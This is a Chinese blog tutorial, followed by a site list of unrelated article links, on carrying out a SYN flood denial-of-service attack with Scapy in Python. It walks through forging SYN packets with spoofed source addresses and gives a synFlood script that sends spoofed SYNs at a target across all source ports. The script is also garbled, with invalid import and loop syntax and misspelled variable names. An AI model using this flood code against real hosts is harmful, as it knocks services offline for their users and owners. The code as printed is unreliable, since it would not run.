Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python入门篇之字符串
Oct 17 Python
深入讲解Python中面向对象编程的相关知识
May 25 Python
Python中Django框架利用url来控制登录的方法
Jul 25 Python
Python下实现的RSA加密/解密及签名/验证功能示例
Jul 17 Python
Django如何实现内容缓存示例详解
Sep 24 Python
python3模块smtplib实现发送邮件功能
May 22 Python
Python Collatz序列实现过程解析
Oct 12 Python
python 解决cv2绘制中文乱码问题
Dec 23 Python
pytorch加载自定义网络权重的实现
Jan 07 Python
浅谈keras的深度模型训练过程及结果记录方式
Jan 24 Python
在python中使用pymysql往mysql数据库中插入(insert)数据实例
Mar 02 Python
python设置 matplotlib 正确显示中文的四种方式
May 10 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
PHP中的MYSQL常用函数(php下操作数据库必备)
2010/09/12 PHP
ThinkPHP使用心得分享-分页类Page的用法
2014/05/15 PHP
php中实现记住密码下次自动登录的例子
2014/11/06 PHP
JS 有名函数表达式全面解析
2010/03/19 Javascript
如何实现移动端浏览器不显示 pc 端的广告
2015/10/15 Javascript
最佳的JavaScript错误处理实践
2016/07/16 Javascript
jQuery多个版本和其他js库冲突的解决方法
2016/08/11 Javascript
Javascript实现从小到大的数组转换成二叉搜索树
2017/06/13 Javascript
详解webpack 入门总结和实践(按需异步加载,css单独打包,生成多个入口文件)
2017/06/20 Javascript
浅谈JavaScript find 方法不支持IE的问题
2017/09/28 Javascript
微信小程序实现image组件图片自适应宽度比例显示的方法
2018/01/16 Javascript
详解自定义ajax支持跨域组件封装
2018/02/08 Javascript
jQuery单页面文字搜索插件jquery.fullsearch.js的使用方法
2020/02/04 jQuery
基于leaflet.js实现修改地图主题样式的流程分析
2020/05/15 Javascript
Vue解决echart在element的tab切换时显示不正确问题
2020/08/03 Javascript
[11:33]DAC2018 4.5SOLO赛决赛 MidOne vs Paparazi第二场
2018/04/06 DOTA
Python Nose框架编写测试用例方法
2017/10/26 Python
python中is与双等于号“==”的区别示例详解
2017/11/21 Python
python3安装speech语音模块的方法
2018/12/24 Python
详解python中list的使用
2019/03/15 Python
pytorch使用Variable实现线性回归
2019/05/21 Python
django3.02模板中的超链接配置实例代码
2020/02/04 Python
python字典key不能是可以是啥类型
2020/08/04 Python
Python实现像awk一样分割字符串
2020/09/15 Python
Pycharm添加虚拟解释器报错问题解决方案
2020/10/13 Python
python之pygame模块实现飞机大战完整代码
2020/11/29 Python
python 利用matplotlib在3D空间绘制二次抛物面的案例
2021/02/06 Python
8款精美的CSS3表单设计(登录表单/下拉选择/按钮附演示及源码)
2013/02/04 HTML / CSS
ziaja齐叶雅官方海外旗舰店:来自波兰的天然护肤品牌
2017/01/02 全球购物
Book Depository亚太地区:一家领先的国际图书零售商
2019/05/05 全球购物
销售员个人求职的自我评价
2014/02/10 职场文书
2014全国两会心得体会
2014/03/17 职场文书
“四风”问题对照检查材料思想汇报
2014/09/16 职场文书
停车场管理协议书范本
2014/10/08 职场文书
教你怎么用PyCharm为同一服务器配置多个python解释器
2021/05/31 Python
浅谈Java父子类加载顺序
2021/08/04 Java/Android